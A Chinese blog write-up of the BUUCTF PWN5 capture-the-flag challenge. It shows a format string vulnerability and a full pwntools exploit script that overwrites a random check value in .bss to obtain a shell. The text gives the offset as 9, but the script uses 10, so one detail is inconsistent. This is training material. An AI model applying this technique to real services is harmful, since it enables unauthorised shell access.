Pwn篇-BUUCTF[第五空间2019 决赛]PWN5-格式化字符串漏洞

BUUCTF[第五空间2019 决赛]PWN5

简单的格式化字符串漏洞利用题目

程序保护

在这里插入图片描述

IDA分析

  • 程序逻辑如下:
    在这里插入图片描述
  • unk_804c044为bss段地址,存储上面生成的4字节随机数。只要随机数和我们输入的passwd相等,则调用system("/bin/sh")
  • 程序中有明显的格式化字符串漏洞,可以任意地址读写。

动态调试

  • GDB调试程序,计算偏移:
    在这里插入图片描述
  • 数得偏移为9,可以使用%9p来打印"aaaa"所在的地址
  • 可以使用pwnlib中fmtstr_payload来自动构造payload,使用方法如下
payload = fmtstr_payload(12,{0x804a048:0x02223322})

EXP

from pwn import *

s = process("./pwn.out")
#s = remote("node3.buuoj.cn","29114")
context.log_level = "debug"

bss = 0x0804C044  # 随机数所存储的位置,bss地址
payload = fmtstr_payload(10,{bss:0}) # 把随机数改为0
s.recvuntil("name:")
s.sendline(payload)
s.recvuntil("passwd:")
s.sendline(p32(0))  # 设置passwd为0,此时和随机数相同,则调用system拿到shell
s.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值